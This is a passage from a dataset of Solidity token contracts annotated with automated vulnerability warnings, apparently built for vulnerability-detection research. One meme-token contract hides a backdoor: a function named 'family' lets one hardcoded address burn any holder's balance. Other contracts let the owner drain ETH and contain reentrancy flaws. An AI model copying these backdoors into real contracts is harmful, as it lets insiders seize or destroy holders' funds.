uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee() private {\n\t\t// reentrancy-events | ID: e09ccf5\n\t\t// reentrancy-events | ID: 581f4b3\n\t\t// reentrancy-eth | ID: 76bab84\n _caoCaoo.transfer(address(this).balance);\n }\n\n function rescueEth() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 257a08d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 257a08d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5ba895d): UNICHAIN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5ba895d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0c774a4): UNICHAIN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0c774a4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6a637ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6a637ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 257a08d\n\t\t// unused-return | ID: 0c774a4\n\t\t// reentrancy-eth | ID: 6a637ad\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 257a08d\n\t\t// unused-return | ID: 5ba895d\n\t\t// reentrancy-eth | ID: 6a637ad\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 257a08d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6a637ad\n tradingOpen = true;\n }\n}\n", "file_name": "solidity_code_10002.sol", "size_bytes": 19751, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 233198235841242551134071450753470360614461789576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function family(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"TrumpCat\", unicode\"🐱TrumpCat\", 9, 50000000) {}\n}\n", "file_name": "solidity_code_10003.sol", "size_bytes": 7095, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary Math {\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n return a / b;\n }\n\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 14cb051): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 14cb051: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4be380b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 4be380b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 339c35d): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 339c35d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 274ec5e): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 274ec5e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2a345d7): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 2a345d7: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 11c997a): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 11c997a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 356de8c): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 356de8c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ab3e15c): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for ab3e15c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 04823c3): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 04823c3: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 14cb051\n\t\t\t\t// divide-before-multiply | ID: 339c35d\n\t\t\t\t// divide-before-multiply | ID: 274ec5e\n\t\t\t\t// divide-before-multiply | ID: 2a345d7\n\t\t\t\t// divide-before-multiply | ID: 11c997a\n\t\t\t\t// divide-before-multiply | ID: 356de8c\n\t\t\t\t// divide-before-multiply | ID: ab3e15c\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 4be380b\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 339c35d\n\t\t\t// incorrect-exp | ID: 04823c3\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: ab3e15c\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 14cb051\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 274ec5e\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 2a345d7\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 356de8c\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 11c997a\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4be380b\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n ? 1\n : 0\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nabstract contract Ownable {\n event OwnershipTransferred(address indexed user, address indexed newOwner);\n\n error Unauthorized();\n\n error InvalidOwner();\n\n address public owner;\n\n modifier onlyOwner() virtual {\n if (msg.sender != owner) revert Unauthorized();\n\n _;\n }\n\n constructor(address _owner) {\n if (_owner == address(0)) revert InvalidOwner();\n\n owner = _owner;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function transferOwnership(address _owner) public virtual onlyOwner {\n if (_owner == address(0)) revert InvalidOwner();\n\n owner = _owner;\n\n emit OwnershipTransferred(msg.sender, _owner);\n }\n\n function revokeOwnership() public virtual onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(msg.sender, address(0));\n }\n}\n\nabstract contract ERC721Receiver {\n function onERC721Received(\n address,\n address,\n uint256,\n bytes calldata\n ) external virtual returns (bytes4) {\n return ERC721Receiver.onERC721Received.selector;\n }\n}\n\nabstract contract ERC404 is Ownable {\n event ERC20Transfer(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 amount\n );\n\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed id\n );\n\n event ERC721Approval(\n address indexed owner,\n address indexed spender,\n uint256 indexed id\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n error NotFound();\n\n error AlreadyExists();\n\n error InvalidRecipient();\n\n error InvalidSender();\n\n error UnsafeRecipient();\n\n string public name;\n\n string public symbol;\n\n uint8 public immutable decimals;\n\n uint256 public immutable totalSupply;\n\n uint256 public minted;\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(uint256 => address) public getApproved;\n\n mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n mapping(uint256 => address) internal _ownerOf;\n\n mapping(address => uint256[]) internal _owned;\n\n mapping(uint256 => uint256) internal _ownedIndex;\n\n mapping(address => bool) public whitelist;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalNativeSupply,\n address _owner\n ) Ownable(_owner) {\n name = _name;\n\n symbol = _symbol;\n\n decimals = _decimals;\n\n totalSupply = _totalNativeSupply * (10 ** decimals);\n }\n\n function setWhitelist(address target, bool state) public onlyOwner {\n whitelist[target] = state;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a6c1526): ERC404.ownerOf(uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for a6c1526: Rename the local variables that shadow another component.\n function ownerOf(uint256 id) public view virtual returns (address owner) {\n owner = _ownerOf[id];\n\n if (owner == address(0)) {\n revert NotFound();\n }\n }\n\n function tokenURI(uint256 id) public view virtual returns (string memory);\n\n\t// WARNING Vulnerability (erc721-interface | severity: Medium | ID: 3390810): Circle has incorrect ERC721 function interfaceERC404.approve(address,uint256)\n\t// Recommendation for 3390810: Set the appropriate return values and vtypes for the defined 'ERC721' functions.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2d0b02d): ERC404.approve(address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 2d0b02d: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amountOrId\n ) public virtual returns (bool) {\n if (amountOrId <= minted && amountOrId > 0) {\n address owner = _ownerOf[amountOrId];\n\n if (msg.sender != owner && !isApprovedForAll[owner][msg.sender]) {\n revert Unauthorized();\n }\n\n getApproved[amountOrId] = spender;\n\n emit Approval(owner, spender, amountOrId);\n } else {\n allowance[msg.sender][spender] = amountOrId;\n\n emit Approval(msg.sender, spender, amountOrId);\n }\n\n return true;\n }\n\n function setApprovalForAll(address operator, bool approved) public virtual {\n isApprovedForAll[msg.sender][operator] = approved;\n\n emit ApprovalForAll(msg.sender, operator, approved);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amountOrId\n ) public virtual {\n if (amountOrId <= minted) {\n if (from != _ownerOf[amountOrId]) {\n revert InvalidSender();\n }\n\n if (to == address(0)) {\n revert InvalidRecipient();\n }\n\n if (\n msg.sender != from &&\n !isApprovedForAll[from][msg.sender] &&\n msg.sender != getApproved[amountOrId]\n ) {\n revert Unauthorized();\n }\n\n balanceOf[from] -= _getUnit();\n\n unchecked {\n balanceOf[to] += _getUnit();\n }\n\n _ownerOf[amountOrId] = to;\n\n delete getApproved[amountOrId];\n\n uint256 updatedId = _owned[from][_owned[from].length - 1];\n\n _owned[from][_ownedIndex[amountOrId]] = updatedId;\n\n _owned[from].pop();\n\n _ownedIndex[updatedId] = _ownedIndex[amountOrId];\n\n _owned[to].push(amountOrId);\n\n _ownedIndex[amountOrId] = _owned[to].length - 1;\n\n emit Transfer(from, to, amountOrId);\n\n emit ERC20Transfer(from, to, _getUnit());\n } else {\n uint256 allowed = allowance[from][msg.sender];\n\n if (allowed != type(uint256).max)\n allowance[from][msg.sender] = allowed - amountOrId;\n\n _transfer(from, to, amountOrId);\n }\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n return _transfer(msg.sender, to, amount);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id\n ) public virtual {\n transferFrom(from, to, id);\n\n if (\n to.code.length != 0 &&\n ERC721Receiver(to).onERC721Received(msg.sender, from, id, \"\") !=\n ERC721Receiver.onERC721Received.selector\n ) {\n revert UnsafeRecipient();\n }\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n bytes calldata data\n ) public virtual {\n transferFrom(from, to, id);\n\n if (\n to.code.length != 0 &&\n ERC721Receiver(to).onERC721Received(msg.sender, from, id, data) !=\n ERC721Receiver.onERC721Received.selector\n ) {\n revert UnsafeRecipient();\n }\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n require(balanceOf[from] >= amount, \"Insufficient balance\");\n\n require(balanceOf[from] > 0, \"No zero transfers\");\n\n balanceOf[from] -= amount;\n\n unchecked {\n balanceOf[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n return true;\n }\n\n function _getUnit() internal view returns (uint256) {\n return 10 ** decimals;\n }\n\n function _mint(address to) internal virtual {\n if (to == address(0)) {\n revert InvalidRecipient();\n }\n\n unchecked {\n minted++;\n }\n\n uint256 id = minted;\n\n if (_ownerOf[id] != address(0)) {\n revert AlreadyExists();\n }\n\n _ownerOf[id] = to;\n\n _owned[to].push(id);\n\n _ownedIndex[id] = _owned[to].length - 1;\n\n emit Transfer(address(0), to, id);\n }\n\n function _burn(address from) internal virtual {\n if (from == address(0)) {\n revert InvalidSender();\n }\n\n uint256 id = _owned[from][_owned[from].length - 1];\n\n _owned[from].pop();\n\n delete _ownedIndex[id];\n\n delete _ownerOf[id];\n\n delete getApproved[id];\n\n emit Transfer(from, address(0), id);\n }\n\n function _setNameSymbol(\n string memory _name,\n string memory _symbol\n ) internal {\n name = _name;\n\n symbol = _symbol;\n }\n}\n\n// WARNING Vulnerability (erc721-interface | severity: Medium | ID: 3390810): Circle has incorrect ERC721 function interfaceERC404.approve(address,uint256)\n// Recommendation for 3390810: Set the appropriate return values and vtypes for the defined 'ERC721' functions.\ncontract Circle is ERC404 {\n constructor() ERC404(\"Circle\", \"CIRCLE\", 18, 1, msg.sender) {\n balanceOf[msg.sender] = 1 * 10 ** 18;\n\n _mint(address(this));\n }\n\n function setNameSymbol(\n string memory _name,\n string memory _symbol\n ) public onlyOwner {\n _setNameSymbol(_name, _symbol);\n }\n\n function tokenURI(uint256 id) public pure override returns (string memory) {\n require(id == 1, \"Invalid token ID\"); // Ensure it’s the correct token ID\n\n string\n memory imageURI = \"ipfs://bafkreibgby4frs4bmdczol2sg5wvtphavewwkqlvarpyc34ztqxfsakg2a\";\n\n string memory json = string(\n abi.encodePacked(\n '{\"name\": \"ERC404 NFT #1\", ',\n '\"description\": \"A unique NFT with fractional ownership enabled by the ERC404 standard.\", ',\n '\"image\": \"',\n imageURI,\n '\"}'\n )\n );\n\n return string(abi.encodePacked(\"data:application/json;utf8,\", json));\n }\n}\n", "file_name": "solidity_code_10004.sol", "size_bytes": 24932, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit 